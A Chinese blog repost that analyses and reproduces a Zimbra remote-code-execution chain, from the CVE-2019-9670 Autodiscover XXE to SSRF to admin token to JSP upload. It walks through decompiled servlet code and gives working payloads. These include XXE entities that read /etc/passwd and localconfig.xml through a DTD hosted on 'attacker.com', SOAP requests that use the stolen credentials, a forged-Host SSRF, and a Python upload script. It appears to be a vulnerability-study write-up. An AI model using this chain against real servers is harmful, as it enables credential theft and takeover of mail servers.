《A Saga of Code Executions on Zimbra》RCE分析+复现过程

栏目: 服务器 · 发布时间: 7年前

内容简介:踩着前人的脚步来一波分析+复现。百度上说:Zimbra提供一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。它最大的特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。嗯。。其实就是一套邮件系统。。

踩着前人的脚步来一波分析+复现。

Zimbra是啥?

百度上说:Zimbra提供一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。它最大的特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。

嗯。。其实就是一套邮件系统。。

下载Zimbra的包:

1.从地址 https://www.zimbra.com/downloads/zimbra-collaboration-open-source/下载了Zimbra 8.6.0的开源版,并解压

2.解压packages/zimbra-core-***.rpm,得到zimbra核心库的内容,命令如下:

#需要自行安装rpm2cpio
rpm2cpio zimbra-core-8.6.0_GA_1153.RHEL6_64-20141215151155.x86_64.rpm | cpio -div

github上其实也有源码,但是jd-gui方便代码追踪

https://github.com/Grynn/zimbra-mirror

利用XXE读取密码:

CVE-2019-9670,文章中提示使用Autodicovers

查找zimbra-core中带有Autodicover的类名

find . -name "*.jar"|awk '{print "jar -tvf "$1}' | sh -x | grep -i Autodiscover

找到如下两个包:

  • jar -tvf ./j2sdk-20140721/jre/lib/ext/nashorn.jar
    1758 Tue Jul 29 17:08:16 CST 2014 jdk/internal/dynalink/support/AutoDiscovery.class
  • jar -tvf ./lib/jars/zimbrastore.jar
    20149 Mon Dec 15 15:19:12 CST 2014 com/zimbra/cs/service/AutoDiscoverServlet.class

可以看出nashorn.jar是jre的中的jar包,应该不是我们的目标,而AutoDiscoverServlet带有Servlet字样,应是对外提供服务的。

在Zimbra的Wiki中 https://wiki.zimbra.com/wiki/Autodiscover,给出了Autodiscovery的地址为/Autodiscover/Autodiscover.xml(其实这个功能应该是exchange的 )

向/Autodiscover/Autodiscover.xml POST一个空的xml:

《A Saga of Code Executions on Zimbra》RCE分析+复现过程

发现提示:No Email address is specified in the Request,在AutoDiscoverServlet.class的doPost中找到如下代码,确认为Autodiscover功能对应类。

《A Saga of Code Executions on Zimbra》RCE分析+复现过程

使用Jd-gui反编译代码,发现如下代码逻辑:

public void doPost(HttpServletRequest req, HttpServletResponse resp){
    ...
  reqBytes = ByteUtil.getContent(req.getInputStream(), req.getContentLength());
  ...
  String content = new String(reqBytes, "UTF-8");
  ...
  Document doc = docBuilder.parse(new InputSource(new StringReader(content)));
  ...
  //获取Request标签内容
   NodeList nList = doc.getElementsByTagName("Request");
   ...
    for (int i = 0; i < nList.getLength(); i++)
      {
        Node node = nList.item(i);
        if (node.getNodeType() == 1)
        {
          Element element = (Element)node;
          //读取EMailAddress、AcceptableResponseSchema的内容
          email = getTagValue("EMailAddress", element);
          responseSchema = getTagValue("AcceptableResponseSchema", element);
          //读到邮件跳出
          if (email != null) {
            break;
          }
        }
      }
      ...
      //邮件为null或者长度为0则报邮件错误
       if ((email == null) || (email.length() == 0))
    {
      log.warn("No Email address is specified in the Request, %s", new Object[] { content });
      sendError(resp, 400, "No Email address is specified in the Request");
      return;
    }
    //responseSchema如果不为两个给定类型则报错并返回responseSchema的内容,此处造成了回显式的XXE。
    if ((responseSchema != null) && (responseSchema.length() > 0)) {
      if ((!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006")) && (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a")))
      {
        log.warn("Requested response schema not available " + responseSchema);
        sendError(resp, 503, "Requested response schema not available " + responseSchema);
        return;
      }


}

1.先读取了EMAILAddress和先读取了EMAILAddress和AcceptableResponseSchema

2.验证AcceptableResponseSchema是否正确,如果不正确则返回其内容并报错

3.验证登陆权限

所以只要将希望XXE的内容放入AcceptableResponseSchema中即可:

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaa</EMailAddress>
      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
    </Request>
  </Autodiscover>

《A Saga of Code Executions on Zimbra》RCE分析+复现过程 由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd:

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

提交报文内容

<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://attacker.com/dtd">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>

SSRF

如上步骤找一下ProxyServlet

  • jar -tvf ./zimbra/lib/jars/zimbrastore.jar

    14208 Mon Dec 15 15:19:22 CST 2014 com/zimbra/cs/zimlet/ProxyServlet.class

    还是在zimbrastore.jar中

ProxyServlet顾名思义,会把请求转发到指定的target,我们可以通过该接口访问到本地监听的7071管理端口。

按照文章中所给分析,将Host修改为:7071为结尾的值,假装自己是从管理端口进入(ServletRequest.getServerPort()取Request中Host端口的问题),同时在Cookie中使用一个低权限的Token,即可进行SSRF。

原文配图:

《A Saga of Code Executions on Zimbra》RCE分析+复现过程

低权限token可通过soap接口发送AuthRequest进行获取:

https://target.com/service/soap

先使用上面通过xxe获取的zimbra_admin_name和zimbra_ldap_password进行登陆,获取一个低权限Token

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAccount">
        <account by="adminName">zimbra</account>
        <password>xxxx</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>

响应中包含一个token:

《A Saga of Code Executions on Zimbra》RCE分析+复现过程

而后再通过proxy接口,访问admin的soap接口获取高权限Token

https://target.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap

Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token。

发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token

注意7071端口是https的,刚开始写成了HTTP,卡了有一个小时。。

文件上传

长亭的文章给的提示,可以用文件上传,具体参考 CVE-2013-7091 EXP 其中的文件上传部分

import requests
f = {
    'filename1':(None,"justatest.jsp",None),
    'clientFile':("justatest123.jsp",r'<%out.println("justatest");%>',"text/plain"),#以这里的文件名为准
    'requestId':(None,"12",None),
}

headers ={
    "Cookie":"ZM_ADMIN_AUTH_TOKEN=admin_token",#改成自己的admin_token
    "Host":"foo:7071"
}

r = requests.post("https://target.com/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
print(r.text)

最后效果:

《A Saga of Code Executions on Zimbra》RCE分析+复现过程

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Practical Algorithms for Programmers

Practical Algorithms for Programmers

Andrew Binstock、John Rex / Addison-Wesley Professional / 1995-06-29 / USD 39.99

Most algorithm books today are either academic textbooks or rehashes of the same tired set of algorithms. Practical Algorithms for Programmers is the first book to give complete code implementations o......一起来看看 《Practical Algorithms for Programmers》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具